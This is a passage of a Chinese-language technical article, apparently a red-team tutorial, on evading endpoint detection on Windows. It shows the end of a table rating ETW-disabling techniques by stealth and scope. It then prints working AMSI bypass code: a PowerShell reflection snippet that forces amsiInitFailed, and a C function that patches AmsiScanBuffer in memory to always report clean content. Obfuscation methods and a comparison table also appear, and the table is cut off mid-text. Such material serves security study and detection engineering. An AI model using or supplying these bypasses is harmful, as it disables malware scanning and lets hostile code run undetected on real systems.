1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">仅当前进程</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">★★☆☆☆</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">进程生命周期</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">EDR可检测patch行为</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">用户态return SUCCESS</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">用户态</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">仅当前进程</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">★★★☆☆</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">进程生命周期</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">较隐蔽, 但仍可被unhook检测</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">NtTraceControl禁用</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">内核交互</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">系统级</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">★★★★☆</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">需要持续保持</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">需要管理员权限</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">内核ETW Provider标志修改</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">内核态</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">系统级</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">★★★★★</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">持久(直到重启)</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">需要驱动, 触发PatchGuard风险</span></p></td></tr></tbody></table></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">2.4 AMSI 绕过</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">AMSI (Antimalware Scan Interface) 是 Windows 提供的脚本内容扫描接口，EDR 通过 AMSI 扫描 PowerShell/VBScript/JScript 等脚本内容。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">2.4.1 AMSI 架构</span></span></h4><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">脚本引擎 ──▶ AmsiScanBuffer() ──▶ AMSI Provider (EDR注册) ──▶ 扫描结果</span><span leaf=""><br/></span><span leaf="">   │                                      │</span><span leaf=""><br/></span><span leaf="">   │  AmsiInitialize()                    │  检测到恶意内容</span><span leaf=""><br/></span><span leaf="">   │                                      ▼</span><span leaf=""><br/></span><span leaf="">   └──────────────────────────── 返回 AMI_RESULT_DETECTED</span></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">2.4.2 常见绕过方法</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">方法一：修改 amsiInitFailed 标志（PowerShell）</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf=""># 强制AMSI认为初始化失败, 后续所有扫描将被跳过</span><span leaf=""><br/></span><span leaf="">$ref = [Ref].Assembly.GetTypes() | Where-Object { $_.Name -like &#34;*Utils&#34; }</span><span leaf=""><br/></span><span leaf="">$amsi = $ref.GetField(&#39;amsiInitFailed&#39;, &#39;NonPublic,Static&#39;)</span><span leaf=""><br/></span><span leaf="">$amsi.SetValue($null, $true)</span><span leaf=""><br/></span><span leaf=""># 之后所有PowerShell脚本将不再经过AMSI扫描</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">方法二：AmsiScanBuffer 内存补丁</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 直接修改amsi.dll!AmsiScanBuffer入口, 始终返回AMSI_RESULT_CLEAN</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">BOOL </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">PatchAmsiScanBuffer</span></span><span style="line-height: 26px;"><span leaf="">()</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    HMODULE hAmsi = GetModuleHandleA(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;amsi.dll&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    FARPROC pScanBuffer = GetProcAddress(hAmsi, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;AmsiScanBuffer&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    DWORD oldProtect;</span><span leaf=""><br/></span><span leaf="">    VirtualProtect(pScanBuffer, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">9</span></span><span leaf="">, PAGE_EXECUTE_READWRITE, &amp;oldProtect);</span><span leaf=""><br/></span><span leaf="">    BYTE patch[] = {</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x31</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xC0</span></span><span leaf="">,                      </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// xor eax,eax (return S_OK)</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xC6</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x44</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x24</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x28</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">,   </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// mov byte [rsp+0x28], 0 (result=CLEAN)</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xC2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x18</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// ret 18h</span></span><span leaf=""><br/></span><span leaf="">    };</span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">memcpy</span></span><span leaf="">(pScanBuffer, patch, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">sizeof</span></span><span leaf="">(patch));</span><span leaf=""><br/></span><span leaf="">    VirtualProtect(pScanBuffer, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">9</span></span><span leaf="">, oldProtect, &amp;oldProtect);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> TRUE;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">方法三：模糊化绕过</span></strong><span leaf=""> — 不修改 AMSI，通过自定义编码（XOR/ROT/Base64+分段）规避字符串特征匹配，最隐蔽但需额外解码逻辑。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">AMSI 绕过方案对比：</span></strong></p><p data-tool="mdnice编辑器" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;overflow-x: auto;"><table style="display: table;text-align: left;"><thead><tr><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">方案</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">原理</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">检测难度</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">副作用</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">版本兼容性</span></p></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">amsiInitFailed标志</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">修改.NET内部标志</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 